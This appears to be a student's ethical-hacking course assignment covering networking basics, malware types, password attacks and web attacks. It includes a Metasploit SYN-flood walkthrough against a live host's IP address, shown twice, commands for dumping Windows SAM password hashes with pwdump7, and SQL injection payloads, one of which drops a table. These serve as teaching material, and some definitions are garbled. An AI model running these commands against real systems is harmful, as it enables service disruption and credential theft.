# Ethical Hacking TermAssignments -1

## Module -1

- **Difference between hardware and software.**

| Hardware | Software |
|---|---|
| Hardware is the physical part of the system | Software is the set of the instruction which tells the computer what to do. |
| It is manufactured. | It is developed. |
| Hardware can not perform any task without software. | The software can not be executed without any hardware |
| Electronic and other materials are used to create hardware. | Created by utilizing a computer language to write instructions. |
| Hardware is tangible as hardware is a physical electronic device, that can be touched. | Software is intangible as we can see and also use the software but can't touch them. |
| Hardware typically wears out over time. | The software does not wear out with time. However, it may contain flaws and glitches. |
| Only machine-level language is known to be understood by hardware. | The program accepts human-readable input, interprets it in machine-level language, and sends it to hardware for additional processing. |
| If the hardware is damaged, it is replaced with a new one. | If the software is damaged, its backup copy can be reinstalled. |
| Dust, overheating, humidity, and other factors are commonly responsible for hardware failures. | Overloading, systematic error, major-minor version error, and other factors are commonly responsible for software failures. |
| It cannot be transferred from one place to another electrically through the network. | It can be transferred via a network means. |
| Hardware is not affected by computer viruses. | Software is affected by computer viruses. |
| Ex: Keyboard, Mouse, Monitor, Printer, CPU,Hard Disk, RAM,ROM, etc. | Ex: MS word, Power Point,Excel,Auto cad etc. |

- **Define IP address range and private address range.**

**IP address range:-**

IP addresses are expressed as a set of four numbers — an example address might be 192.158.1.38. Each number in the set can range from 0 to 255. So, the full IP addressing range goes from 0.0.0.0 to 255.255.255.255.

**private address range:-**

The Internet Assigned Numbers Authority (IANA) has assigned several address ranges to be used by private networks.

Address ranges to be use by private networks are:

- Class A: 10.0.0.0 to 10.255.255.255
- Class B: 172.16.0.0 to 172.31.255.255
- Class C: 192.168.0.0 to 192.168.255.255

An IP address within these ranges is therefore considered non-routable, as it is not unique. Any private network that needs to use IP addresses internally can use any address within these ranges without any coordination with IANA or an Internet registry. Addresses within this private address space are only unique within a given private network.

All addresses outside these ranges are considered public.

- **Explain Network protocol and Port number.**

**Network protocol:-**

A network protocol is an established set of rules that determine how data is transmitted between different devices in the same network. Essentially, it allows connected devices to communicate with each other, regardless of any differences in their internal processes, structure or design.

**Port number:-**

A port number is a way to identify a specific process to which an internet or other network message is to be forwarded when it arrives at a server. All network-connected devices come equipped with standardized ports that have an assigned number.

- **Explain Types of Network Device.**

Here is the common network device list:

-Hub

-Switch

-Router

-Bridge

-Gateway

-Modem

-Repeater

-Access Point

## Module – 2

- **What are the types of hacker?**

Hackers fall into three general categories:

- black hat hackers
- white hat hackers
- Gray hat hackers.

- **Explain in brief - Ethical hacking and cyber security.**

**Ethical hacking:**

Ethical hacking involves an authorized attempt to gain unauthorized access to a computer system, application, or data. Carrying out an ethical hack involves duplicating strategies and actions of malicious attackers.

**cyber security:**

cyber security is the practice of defending computers, servers, mobile devices, electronic systems, networks, and data from malicious attacks. It's also known as information technology security or electronic information security

- **Explain Foot printing Methodology**

Footprinting is an ethical hacking technique used to gather as much data as possible about a specific targeted computer system, an infrastructure and networks to identify opportunities to penetrate them. It is one of the best methods of finding vulnerabilities.

There are two types of footprinting in ethical hacking:

- active footprinting
- passive footprinting

**active footprinting**

Active footprinting describes the process of using tools and techniques, like using the traceroute commands or a ping sweep -- Internet Control Message Protocol sweep -- to collect data about a specific target. This often triggers the target's intrusion detection system (IDS). It takes a certain level of stealth and creativity to evade detection successfully.

**passive footprinting**

As the name implies, passive footprinting involves collecting data about a specific target using innocuous methods, like performing a Google search, looking through Archive.org, using NeoTrace, browsing through employees' social media profiles, looking at job sites and using Whois, a website that provides the

domain names and associated networks fora specific organization. It is a stealthier approach to footprinting because it does not trigger the target's IDS.

- **Find basic information using Google advance search operator and Pipl search**

**Google advance search examples**

- site:geeksforgeeks.com
- site:yogablock.com yoga block
- gtu book site:gtu.ac.in filetype:pdf

- **Find vulnerability tool and check open port and service.**

vulnerability tools:

1. Nmap

- Nmap 192.168.0.122

2.Wireshark

3.Angry IP Scanner

4.NetCat

5.Advanced IP Scanner

- **What are the different types of hacking methods? Ethical Hacking**

The following is a list of hacking techniques:-

- Phishing. ...
- Bait and Switch Attack.
- Key Logger.
- Denial of Service (DoS\DDoS) Attacks.
- ClickJacking Attacks.
- Fake W.A.P.
- Cookie Theft. ...
- Viruses and Trojans.

- **Explain Types of Password Attacks**

**Types of Password Attacks :**

**1. Phishing**

Phishing is when a hacker posing as a trustworthy party sends you a fraudulent email, hoping you will reveal your personal information voluntarily. Sometimes they lead you to fake "reset your password" screens; other times, the links install malicious code on your device. We highlight several examples on the OneLogin blog.

**2. Man-in-the-Middle Attack**

Man-in-the middle (MitM) attacks are when a hacker or compromised system sits in between two uncompromised people or systems and deciphers the information they're passing to each other, including passwords. If Alice and Bob are passing notes in class, but Jeremy has to relay those notes, Jeremy has the opportunity to be the man in the middle. Similarly, in 2017, Equifax removed its apps from the App Store and Google Play store because they were passing sensitive data over insecure channels where hackers could have stolen customer information.

**3. Brute Force Attack**

If a password is equivalent to using a key to open a door, a brute force attack is using a battering ram. A hacker can try 2.18 trillion password/username combinations in 22 seconds, and if your password is simple, your account could be in the crosshairs.

**4. Dictionary Attack**

A type of brute force attack, dictionary attacks rely on our habit of picking "basic" words as our password, the most common of which hackers have collated into "cracking dictionaries." More sophisticated dictionary attacks incorporate words that are personally important to you, like a birthplace, child's name, or pet's name.

**5. Credential Stuffing**

If you've suffered a hack in the past, you know that your old passwords were likely leaked onto a disreputable website. Credential stuffing takes advantage of accounts that never had their passwords changed after an account break-in. Hackers will try various combinations of former usernames and passwords, hoping the victim never changed them.

**6. Keyloggers**

Keyloggers are a type of malicious software designed to track every keystroke and report it back to a hacker. Typically, a user will download the software believing it to be legitimate, only for it to install a keylogger without notice.

- **Explain Password Cracking Tools: pwdump7**

PwDump7:

This utility was created by Tarasco. This utility dumps the system's SAM file's credentials after extracting it. Simply enter the following line on the command prompt after downloading to use this tool:

PwDump7.exe

As a result, it will spill all the hashes kept in the SAM file. The next step is to use the commands below to save the registry values for the SAM file and system file in a system file:

reg save hklm\sam c:\sam

reg save hklm\system c:\system

With the aforementioned command, we stored the values to get the data from the SAM file.

Usage:

pwdump7.exe (Dump system passwords)

pwdump7.exe -s <samfile> <systemfile>

(Dump passwords from files)

pwdump7.exe -d <filename> [destination]

(Copy filename to destination)

pwdump7.exe -h (Show this help)

- **Explain Types of Steganography with QuickStego**

**Different Types of Steganography**

**1. Text Steganography**

There is steganography in text files, which entails secretly storing information. In this method, the hidden data is encoded into the letter of each word.

**2. Image Steganography**

The second type of steganography is image steganography, which entails concealing data by using an image of a different object as a cover. Pixel intensities are the key to data concealment in image steganography.

Since the computer description of an image contains multiple bits, images are frequently used as a cover source in digital steganography.

**The various terms used to describe image steganography include:**

- Cover-Image - Unique picture that can conceal data.
- Message - Real data that you can mask within pictures. The message may be in the form of standard text or an image.
- Stego-Image − A stego image is an image with a hidden message.
- Stego-Key - Messages can be embedded in cover images and stego-images with the help of a key, or the messages can be derived from the photos themselves.

**3. Audio Steganography**

It is the science of hiding data in sound. Used digitally, it protects against unauthorized reproduction. Watermarking is a technique that encrypts one piece of data (the message) within another (the "carrier").

Its typical uses involve media playback, primarily audio clips.

**4. Video Steganography**

Video steganography is a method of secretly embedding data or other files within a video file on a computer. Video (a collection of still images) can function as the "carrier" in this scheme. Discrete cosine transform (DCT) is commonly used to insert values that can be used to hide the data in each image in the video, which is undetectable to the naked eye. Video steganography typically employs the following file formats: H.264, MP4, MPEG, and AVI.

**5. Network or Protocol Steganography**

It involves concealing data by using a network protocol like TCP, UDP, ICMP, IP, etc., as a cover object. Steganography can be used in the case of covert channels, which occur in the OSI layer network model.

**Steganography Examples Include**

- Writing with invisible ink
- Embedding text in a picture (like an artist hiding their initials in a painting they've done)
- Backward masking a message in an audio file (remember those stories of evil messages recorded backward on rock and roll records?)
- Concealing information in either metadata or within a file header
- Hiding an image in a video, viewable only if the video is played at a particular frame rate
- Embedding a secret message in either the green, blue, or red channels of an RRB image

Steganography can be used both for constructive and destructive purposes. For example, education and business institutions, intelligence agencies, the military, and certified ethical hackers use steganography to embed confidential messages and information in plain sight.

- **Perform Practical on key logger tool.**

## Module-4

- **Define Types of Viruses.**

**Types of viruses :-**

**1) Boot Sector Virus**

Boot sector viruses infect either the master boot record of the hard disk or the floppy drive. The boot record program responsible for the booting of operating system is replaced by the virus. The virus either copies the master boot program to another part of the hard disk or overwrites it. They infect a computer when it boots up or when it accesses the infected floppy disk in the floppy drive. i.e. Once a system is infected with a boot-sector virus, any non-write-protected disk accessed by this system will become infected.

Examples of boot- sector viruses are Michelangelo and Stoned.

**2) File or Program Viruses**

Some files/programs, when executed, load the virus in the memory and perform predefined functions to infect the system. They infect program files with extensions like .EXE, .COM, .BIN, .DRV and .SYS.

Some common file viruses are Sunday, Cascade.

**3) Multipartite Viruses**

A multipartite virus is a computer virus that infects multiple different target platforms, and remains recursively infective in each target. It attempts to attack both the boot sector and the executable, or programs, files at the same time. When the virus attaches to the boot sector, it will in turn affect the system's files, and when the virus attaches to the files, it will in turn infect the boot sector.

This type of virus can re-infect a system over and over again if all parts of the virus are not eradicated.

Ghostball was the first multipartite virus, discovered by Fridrik Skulason in October 1989.

Other examples are Invader, Flip, etc.

**4) Stealth Viruses**

These viruses are stealthy in nature means it uses various methods for hiding themselves to avoid detection. They sometimes remove themselves from the memory temporarily to avoid detection by antivirus. They are somewhat difficult to detect. When an antivirus program tries to detect the virus, the stealth virus feeds the antivirus program a clean image of the file or boot sector.

**5) Polymorphic Viruses**

Polymorphic viruses have the ability to mutate implying that they change the viral code known as the signature each time they spread or infect. Thus an antivirus program which is scanning for specific virus codes unable to detect it's presense.

**6) Macro Viruses**

A macro virus is a computer virus that "infects" a Microsoft Word or similar application and causes a sequence of actions to be performed automatically when the application is started or something else triggers it. Macro viruses tend to be surprising but relatively harmless.A macro virus is often spread as an e-mail virus. Well-known examples are Concept Virus and Melissa Worm.

**7)Malware**

Malware – Malware is programming or files that are developed for the purpose of doing harm. Thus, malware includes computer viruses, worms, Trojan horses, spyware, hijackers, and certain type of adware.

**8)Backdoor**

A program that allows a remote user to execute commands and tasks on your computer without your permission. These types of programs are typically used to launch attacks on other computers, distribute copyrighted software or media, or hack other computers.

**9)Hijackers**

A program that attempts to hijack certain Internet functions like redirecting your start page to the hijacker's own start page, redirecting search queries to a undesired search engine, or replace search results

from popular search engines with their own information.

**10)Spyware**

A program that monitors your activity or information on your computer and sends that information to a remote computer without your Knowledge.

**11)Adware**

A program that generates popups on your computer or displays advertisements. It is important to note that not all adware programs are necessarily considered malware.

There are many legitimate programs that are given for free that display ads in their programs in order to generate revenue. As long as this information is provided up front then they are generally not considered malware.

**12)Dialler**

A program that typically dials a premium rate number that has per minute charges over and above the typical call charge. These calls are with the intent of gaining access to pornographic material.

**13)Trojan**

A program that has been designed to appear innocent but has been intentionally designed to cause some malicious activity or to provide a backdoor to your system.

**14)Worm**

A program that when run, has the ability to spread to other computers on its own using either mass-mailing techniques to email addresses found on your computer or by using the Internet to infect a remote computer using known security holes.

- **Create virus using Http Rat Trojan tool.**

- **Explain any one Antivirus with example.**

Antivirus software (antivirus program) is a security program designed to prevent, detect, search and remove viruses and other types of malware from computers, networks and other devices. Often included as part of a security package, antivirus software can also be purchased as a standalone option.

Typically installed on a computer as a proactive approach to cybersecurity, an antivirus program can help mitigate a variety of cyber threats, including keyloggers, browser hijackers, Trojan horses, worms, rootkits, spyware, adware, botnets, phishing attempts and ransomware attacks.

Due to the constantly evolving nature of cybercrimes and new versions of malware being released daily, including zero-day attacks, no antivirus program can offer detection and protection against all threat vectors.

A virus is just one of the many types of malware that antivirus software is designed to prevent, detect, search and remove.

- **How antivirus software works.**

Antivirus software typically runs as a background process, scanning computers, servers or mobile devices to detect and restrict the spread of malware. Many antivirus software programs include real-time threat detection and protection to guard against potential vulnerabilities and perform system scans that monitor device and system files, looking for possible risks.

Antivirus software usually performs the following basic functions:

- Scans directories or specific files against a library of known malicious signatures to detect abnormal patterns indicating the presence of malicious software.
- Enables users to schedule scans so they run automatically.
- Lets users initiate new scans at any time.
- Removes any malicious software it detects either automatically in the background or notifies users of infections and prompts them to clean the files.

To scan systems comprehensively, antivirus software must generally be given privileged access to the entire system. This makes antivirus software itself a common target for attackers, and researchers have discovered remote code execution and other serious vulnerabilities in antivirus software products in recent years.

**Types of antivirus programs**

Antivirus software is distributed in several forms, including standalone antivirus scanners, machine learning and cloud-based programs, malware signatures and internet security software suites that offer antivirus protection, along with firewalls, privacy controls and other security protections. Popular providers of both free and commercial antivirus products include AVG Technologies, Kaspersky, Malwarebytes, McAfee, Norton and Trend Micro.

Some antivirus software vendors offer basic versions of their products at no charge. These free versions generally offer basic antivirus and spyware protection, but more advanced features and protections are usually available only to paying customers.

While some OSes are targeted more frequently by virus developers, antivirus software is available for most OSes:

**Windows antivirus software**

Most antivirus software vendors offer several levels of Windows products at different price points, starting with free versions offering only basic protection. Users must perform scans and updates manually, and typically, free versions of antivirus software won't protect against links to malicious websites or malicious code and attachments in emails. Premium versions of antivirus software often include suites of endpoint security tools that provide secure online storage, ad blockers and file encryption. Since 2004, Microsoft has been offering free antivirus software as part of the Windows OS, generally under the name Windows Defender, though the software was mostly limited to detecting spyware before 2006. Microsoft now offers Microsoft Defender Antivirus as part of its Microsoft 365 Defender portal, which is available for Windows 10, Windows 11 and some versions of Windows Server.

**MacOS antivirus software**

Although Apple macOS viruses exist, they're less common than Windows viruses, so antivirus products for Mac-based devices are less standardized than those for Windows. There are several free and paid products available, providing on-demand tools to protect against potential malware threats through full-system malware scans and the ability to sift through specific email threads, attachments and various web activities.

**Android antivirus software**

Android is the world's most popular mobile OS and is installed on more mobile devices than any other OS. Because most mobile malware targets Android, experts recommend all Android device users install antivirus software on their devices. Vendors offer a variety of basic free and paid premium versions of their Android antivirus software, including antitheft and remote-locating features. Some run automatic scans and actively try to stop malicious webpages and files from being opened or downloaded. Play Protect is Google's built-in malware protection for Android, which was first released with Android 8.0 Oreo, and now comes with every Android device that has Google Play services version 11 or newer installed on it.

- **Explain MAC spoofing and Email spoofing.**

**MAC spoofing:-** MAC spffoing is a technique that can be used to fool the operating system into believing it has received an ARP request from another machine. This allows the attacker to gain access to a victim's network without being detected.

**Email spfooing:-** Email spoofing is a threat that involves sending email messages with a fake sender address. Email protocols cannot, on their own, authenticate the source of an email. Therefore, it is relatively easy for a spammer or other malicious actors to change the metadata of an email.

- **Perform practical of MITM tool and social engineering Tool.**

- **Explain Kali Linux tool SYN Flooding Attack using Metasploit.**

TCP SYN flood is a type of Denial of Service (DDoS) attack that exploits part of the normal TCP three-way handshake to consume resources on the targeted server and render it unresponsive.

- First, select your target's IP address.

```
┌──(root㉿kali)-[~]
└─# ping testphp.vulnweb.com
PING testphp.vulnweb.com (44.228.249.3) 56(84) bytes of data.
64 bytes from ec2-44-228-249-3.us-west-2.compute.amazonaws.com (44.228.249.3)
: icmp_seq=1 ttl=38 time=301 ms
64 bytes from 3.249.228.44.in-addr.arpa (44.228.249.3): icmp_seq=2 ttl=38 tim
e=301 ms
64 bytes from 3.249.228.44.in-addr.arpa (44.228.249.3): icmp_seq=3 ttl=38 tim
e=300 ms
64 bytes from 3.249.228.44.in-addr.arpa (44.228.249.3): icmp_seq=4 ttl=38 time=301 ms
64 bytes from 3.249.228.44.in-addr.arpa (44.228.249.3): icmp_seq=5 ttl=38 time=300 ms
^C
── testphp.vulnweb.com ping statistics ──
6 packets transmitted, 5 received, 16.6667% packet loss, time 5005ms
rtt min/avg/max/mdev = 299.890/300.456/300.857/0.436 ms
```

- So now I know the victim's IP Address **44.228.249.3.**
- Launching Metasploit by typing **msfconsole -q** in your kali terminal
- **Msf6 > use auxiliary/dos/tcp/synflood**
- **Msf6> show options**

```
┌──(root㉿kali)-[~]
└─# msfconsole -q
msf6 > use auxiliary/dos/tcp/synflood
msf6 auxiliary(dos/tcp/synflood) > show options

Module options (auxiliary/dos/tcp/synflood):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   INTERFACE                   no        The name of the interface
   NUM                         no        Number of SYNs to send (else unlimited)
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-me
                                         tasploit.html
   RPORT      80               yes       The target port
   SHOST                       no        The spoofable source address (else randomizes)
   SNAPLEN    65535            yes       The number of bytes to capture
   SPORT                       no        The source port (else randomizes)
   TIMEOUT    500              yes       The number of seconds to wait for new data

View the full module info with the info, or info -d command.
```

- Now you can see you have all the available options that you can set.
- To set an option just you have to type**set** and the **option name** and option.
- You have to set two main option
- RHOST= target IP Address
- RPORT=target PORT Address

**Set RPORT 18.192.182.30**

**Set RPORT 80**

```
msf6 auxiliary(dos/tcp/synflood) > set RHOST 44.228.249.3
RHOST ⇒ 44.228.249.3
msf6 auxiliary(dos/tcp/synflood) > set RPORT 80
RPORT ⇒ 80
msf6 auxiliary(dos/tcp/synflood) >
```

- To launch the attack just type.
- **Exploit**

```
msf6 auxiliary(dos/tcp/synflood) > set RHOST 44.228.249.3
RHOST ⇒ 44.228.249.3
msf6 auxiliary(dos/tcp/synflood) > set RPORT 80
RPORT ⇒ 80
msf6 auxiliary(dos/tcp/synflood) > exploit
[*] Running module against 44.228.249.3

[*] SYN flooding 44.228.249.3:80 ...
```

- to see the packets you can open Wireshark.

- **Find online email encryption service.**

https://proton.me/mail

- **Types of Firewalls.**

Five types of firewall include the following:

- packet filtering firewall.
- circuit-level gateway.
- application-level gateway (aka proxy firewall)
- stateful inspection firewall.
- next-generation firewall (NGFW)

- **Explain Evading Firewalls.**

Firewalls and IDS intend to avoid malicious traffic from entering into a network but certain techniques can be used to send intended packets to the target and evade IDS/Firewalls.

Some techniques that we will cover are:-

- Packet Fragmentation- send fragmented probe packets to the intended target, which re-assembles it after receiving all the fragments.

- Source Port Manipulation- manipulate the actual source port with the common source port to evade IDS/firewall

- IP address spoofing /Decoy IP- generate or manually specify the IP address of the decoy so that the IDS/firewall cannot determine the actual IP.

- Create custom packets:- Send custom packets to scan the intended target beyond the firewalls.

- Spoofing MAC address:- Spoofing our MAC address to hide our actual identity.

# Module – 6

- **What is Session Hijacking Explain with Techniques?**

Session Hijacking is a Hacking Technique. In this, the hackers (the one who perform hacking) gain the access of a target's computer or online account and exploit the whole web session control mechanism. This is done by taking over an active TCP/IP communication session by performing illegal actions on a protected network.

Types of Session Hijacking:

Session Hijacking is of Three types:

**Active Session Hijacking** : An Active Session Hijacking occurs when the attacker takes control over the active session. The actual user of the network becomes in offline mode, and the attacker acts as the authorized user. They can also take control over the communication between the client and the server. To cause an interrupt in the communication between client and server, the attackers send massive traffic to attack a valid session and cause a denial of service attack(DoS).

**Passive Session Hijacking** : In Passive Session Hijacking, instead of controlling the overall session of a network of targeted user, the attacker monitors the communication between a user and a server. The main motive of the hacker is to listen to all the data and record it for the future use. Basically, it steals the exchanged information and use for irrelevant activity. This is also a kind of man-in-middle attack (as the attacker is in between the client and the server exchanging information.

**Hybrid Hijacking** : The combination of Active Session Hijacking and Passive Session Hijacking is referred to as Hybrid Hijacking. In this the attackers monitors the communication channel (the network traffic), whenever they find the issue, they take over the control on the web session and fulfill their malicious tasks.

To perform these all kinds of **Session Hijacking attacks**, the attackers use various methods. They have the choice to use a single method or more than one method simultaneously to perform Session Hijacking. Those methods are:

- Brute-forcing the Session ID
- Cross-Site Scripting (XSS) or Misdirected Trust
- Man-in-the-browser
- Malware infections
- Session Fixation
- Session side-jacking
- These all Session Hijacking methods can be elaborated as:

**Brute-forcing the Session ID** : As the name suggests, the attack user uses guessing and trial method to find Session ID depending on its length. This is due to lack of security and shorter length. The introduction of a strong and long session key made this method increase in a slow rate.

**Cross-Site Scripting (XSS) or Misdirected Trust** : In Cross-Site-Scripting, the attacker tries to find out the flaws and the weak point in the web server and injects its code into that. This activity of the attacker will help the attacker to find out the Session ID.

**Man-in-the-browser** : Man-in-the-browser uses a Trojan Horse (program that uses malicious code) to perform its required action. The attacker puts themselves in the communication channel of a server and a client. The main purpose of performing this attacks by the attacker is to cause financial fraud.

**Malware infections** : In Malware Infections, attacker can deceive the user to open a link that is a malware or Trojans program which will install the malicious software in the device. These are programmed to steal the browser cookies without the user's knowledge.

**Session Fixation** : Attackers create a duplicate or another disguised session in Session Fixation. It simply motivates or trick the user into authenticating the vulnerable server. This can be done by sending an email to the user, which on clicking directs to the attacker session.

**Session side-jacking** : In Session side-jacking, the attackers tries to get access over a session using the network traffic. This becomes easy when the user is using an insecure Wi-Fi. The reading of network traffic and stealing of session cookie is done by packet sniffing. Packet Sniffing is a technique by which the data flowing across a network is observed.

- **Find DoS/DDoS Attack Tools.**

The following is the list of Best DDoS Tools for Kali Linux:

1. GoldenEye
2. Slowloris
3. LOIC (Low Orbit Ion Cannon)
4. HOIC (High Orbit Ion Cannon)
5. THC-SSL-DoS
6. HULK (http Unbearable Load King)

7. Pyloris
8. TOR's Hammer
9. XOIC
10. RUDY (R U Dead Yet ?)
11. DAVOSET
12. OWASP HTTP POST

- **Explain SYN Flooding Attack with example**

TCP SYN flood is a type of Denial of Service (DDoS) attack that exploits part of the normal TCP three-way handshake to consume resources on the targeted server and render it unresponsive.

- First, select your target's IP address.

```
┌──(root㉿kali)-[~]
└─# ping testphp.vulnweb.com
PING testphp.vulnweb.com (44.228.249.3) 56(84) bytes of data.
64 bytes from ec2-44-228-249-3.us-west-2.compute.amazonaws.com (44.228.249.3)
: icmp_seq=1 ttl=38 time=301 ms
64 bytes from 3.249.228.44.in-addr.arpa (44.228.249.3): icmp_seq=2 ttl=38 tim
e=301 ms
64 bytes from 3.249.228.44.in-addr.arpa (44.228.249.3): icmp_seq=3 ttl=38 tim
e=300 ms
64 bytes from 3.249.228.44.in-addr.arpa (44.228.249.3): icmp_seq=4 ttl=38 time=301 ms
64 bytes from 3.249.228.44.in-addr.arpa (44.228.249.3): icmp_seq=5 ttl=38 time=300 ms
^C
── testphp.vulnweb.com ping statistics ──
6 packets transmitted, 5 received, 16.6667% packet loss, time 5005ms
rtt min/avg/max/mdev = 299.890/300.456/300.857/0.436 ms
```

- So now I know the victim's IP Address **44.228.249.3.**
- Launching Metasploit by typing **msfconsole -q** in your kali terminal
- **Msf6 > use auxiliary/dos/tcp/synflood**
- **Msf6> show options**

```
┌──(root㉿kali)-[~]
└─# msfconsole -q
msf6 > use auxiliary/dos/tcp/synflood
msf6 auxiliary(dos/tcp/synflood) > show options

Module options (auxiliary/dos/tcp/synflood):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   INTERFACE                   no        The name of the interface
   NUM                         no        Number of SYNs to send (else unlimited)
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-me
                                         tasploit.html
   RPORT      80               yes       The target port
   SHOST                       no        The spoofable source address (else randomizes)
   SNAPLEN    65535            yes       The number of bytes to capture
   SPORT                       no        The source port (else randomizes)
   TIMEOUT    500              yes       The number of seconds to wait for new data


View the full module info with the info, or info -d command.
```

- Now you can see you have all the available options that you can set.
- To set an option just you have to type**set** and the **option name** and option.
- You have to set two main option
- RHOST= target IP Address
- RPORT=target PORT Address

**Set RPORT 18.192.182.30**

**Set RPORT 80**

```
msf6 auxiliary(dos/tcp/synflood) > set RHOST 44.228.249.3
RHOST ⇒ 44.228.249.3
msf6 auxiliary(dos/tcp/synflood) > set RPORT 80
RPORT ⇒ 80
msf6 auxiliary(dos/tcp/synflood) >
```

- To launch the attack just type.
- **Exploit**

```
msf6 auxiliary(dos/tcp/synflood) > set RHOST 44.228.249.3
RHOST ⇒ 44.228.249.3
msf6 auxiliary(dos/tcp/synflood) > set RPORT 80
RPORT ⇒ 80
msf6 auxiliary(dos/tcp/synflood) > exploit
[*] Running module against 44.228.249.3

[*] SYN flooding 44.228.249.3:80 ...
```

- to see the packets you can open Wireshark.

- **List of Web App Hacking Methodology**

There are several common web application attacks that hackers often exploit to compromise the security of web applications.

Here are some of the most prevalent ones:

**1. Cross-Site Scripting (XSS)**

XSS attacks involve injecting malicious scripts into web pages viewed by other users. This can occur when the application fails to properly sanitize user input or output, allowing attackers to execute arbitrary code in the victim's browser. XSS attacks can be used to steal sensitive information, hijack user sessions, or deface websites.

**2. SQL Injection**

SQL injection attacks occur when an attacker manipulates a web application's database queries by inserting malicious SQL code. This can enable unauthorized access to the database, data theft, or modification of data. SQL injection vulnerabilities commonly arise when user input is not properly validated or sanitized before being used in database queries.

**3. Cross-Site Request Forgery (CSRF)**

CSRF attacks trick authenticated users into unknowingly executing unwanted actions on a web application. This is achieved by crafting malicious requests and exploiting the trust placed in the user's

browser sessions. CSRF attacks can lead to actions being performed without the user's consent, such as changing passwords, making financial transactions, or deleting data.

**4. Remote File Inclusion (RFI) and Local File Inclusion (LFI)**

RFI and LFI attacks involve exploiting vulnerabilities that allow the inclusion of external or local files in a web application. Attackers can manipulate these vulnerabilities to execute arbitrary code, read sensitive files, or gain unauthorized access to the server.

**5. XML External Entity (XXE) Attacks**

XXE attacks target applications that parse XML input insecurely. By exploiting this vulnerability, attackers can retrieve sensitive information, execute remote code, or perform denial-of-service attacks.

**6. Server-Side Request Forgery (SSRF)**

SSRF attacks occur when an attacker tricks a web application into making requests to other internal or external resources on behalf of the application server. This can lead to unauthorized access to internal systems, data leakage, or further exploitation of vulnerabilities.

**7. File Upload Vulnerabilities**

Insecure file upload functionalities can be abused by attackers to upload malicious files onto a server. These files can then be executed to gain unauthorized access, escalate privileges, or perform other malicious activities.

**8. Session Hijacking and Session Fixation**

These attacks target weaknesses in session management mechanisms. Session hijacking involves stealing or impersonating valid user sessions, while session fixation involves forcing a user to use a predetermined session ID. Both attacks can lead to unauthorized access to user accounts and sensitive data.

- **SQL Injection Methodology**

SQL injection, also known as SQLI, is a common attack vector that uses malicious SQL code for backend database manipulation to access information that was not intended to be displayed. This information may include any number of items, including sensitive company data, user lists or private customer details.

The impact SQL injection can have on a business is far-reaching. A successful attack may result in the unauthorized viewing of user lists, the deletion of entire tables and, in certain cases, the attacker gaining administrative rights to a database, all of which are highly detrimental to a business.

When calculating the potential cost of an SQLi, it's important to consider the loss of customer trust should personal information such as phone numbers, addresses, and credit card details be stolen.

While this vector can be used to attack any SQL database, websites are the most frequent targets.

- **Explain sql injection with any tool**

**SQL Injection Based on 1=1 is Always True**

Look at the example above again. The original purpose of the code was to create an SQL statement to select a user, with a given user id.

If there is nothing to prevent a user from entering "wrong" input, the user can enter some "smart" input like this:

UserId:

Then, the SQL statement will look like this:

**SELECT * FROM Users WHERE UserId = 105 OR 1=1;**

The SQL above is valid and will return ALL rows from the "Users" table, since OR 1=1 is always TRUE.

Does the example above look dangerous? What if the "Users" table contains names and passwords?

The SQL statement above is much the same as this:

**SELECT UserId, Name, Password FROM Users WHERE UserId = 105 or 1=1;**

A hacker might get access to all the user names and passwords in a database, by simply inserting 105 OR 1=1 into the input field.

**SQL Injection Based on ""="" is Always True**

Here is an example of a user login on a web site:

Username:

Password:

Example

```
uName = getRequestString("username");
uPass = getRequestString("userpassword");
```

**sql = 'SELECT * FROM Users WHERE Name ="' + uName + '" AND Pass ="' + uPass + '"'**

Result

**SELECT * FROM Users WHERE Name ="John Doe" AND Pass ="myPass"**

A hacker might get access to user names and passwords in a database by simply inserting " OR ""=" into the user name or password text box:

User Name:

Password:

The code at the server will create a valid SQL statement like this:

**Result**

**SELECT * FROM Users WHERE Name ="" or ""="" AND Pass ="" or ""=""**

The SQL above is valid and will return all rows from the "Users" table, since OR ""="" is always TRUE.

**SQL Injection Based on Batched SQL Statements**

Most databases support batched SQL statement.

A batch of SQL statements is a group of two or more SQL statements, separated by semicolons.

The SQL statement below will return all rows from the "Users" table, then delete the "Suppliers" table.

Example

**SELECT * FROM Users; DROP TABLE Suppliers**

Look at the following example:

Example

**txtUserId = getRequestString("UserId");**
**txtSQL = "SELECT * FROM Users WHERE UserId = " + txtUserId;**

And the following input:

User id:

The valid SQL statement would look like this:

**Result**

**SELECT * FROM Users WHERE UserId = 105; DROP TABLE Suppliers;**

## Module – 7

- **Wireless Terminologies**

WiFi Terminologies used to acquire best result from wireless technology. It is used to get better understanding to know how and what technology works. There are various terms used as Wifi Terminologies as under.

**Gigahertz**

The unit of Gigahertz is GHz which is used to represent frequencies as billion of cycle per second and also used for measurement of other frequencies. It is used with WiFi wireless network as computer performance and radio frequencies. Gigahertz also used to measure clock speed of CPU therefore it is work as a bands of electric spectrum. Today's' new technologies operates on S-band Satellite like Bluetooth etc.

**WiBro (Wireless Broadband)**

WiBro is the extended version of WiFi because it has no direct connection with WiBro. It is a wonderful and latest technology of mobile broadband.WiFi operates on 802-11. WiBro design for the purpose of connectivity while on move.

**Wifi Hotspot**

Through Hotspot people connect to internet on public places. There are lots of devices set up with wireless network card such as note books, laptop, handsets etc. These all devices designed to connect with surrounding areas via WiFi network. The places where network available for public use is called Hotspot. It is available in café, restaurant, airport, universities, libraries, ground etc.

**WiFi Finder**

WiFi Finder is a helpful device used to find a network in certain areas for public use. Now your laptop battery never ended because WiFi Finder find a network quickly .The size of WiFi Finder is very small like a mouse device .When a user turn on WiFi Finder it automatically start search or wireless network and if succeed it on its LED and ask for connection. There are various version of WiFi Finder with specific features and can enhance the range and connection capabilities.

**Access Point**

Hotspot and Access Point are almost same also known as WAP. Access Point used to connect communication devices collectively. Generally WAP used to connect wired network. It also provide interface between both wired and wireless devices.

**Bandwidth**

Bandwidth is an important term of wifi network because it describes the amount of information that may be broadcast over connection which is bits per second or megabits per second.

**Analogue phone**

Wifi analogue phone used transmit signal from the voice phone. It also create original signal of images and videos.

**Antenna-Directional**

Antenna-Directional used to broadcast and obtain radio waves off the obverse of the antenna.

**Antenna-Omni-directional**

Antenna-Omni-directional used to broadcast and receives radio waves. It is used to get waves from all sides and the area is spherical with the centre antenna.

**Circuit switching**

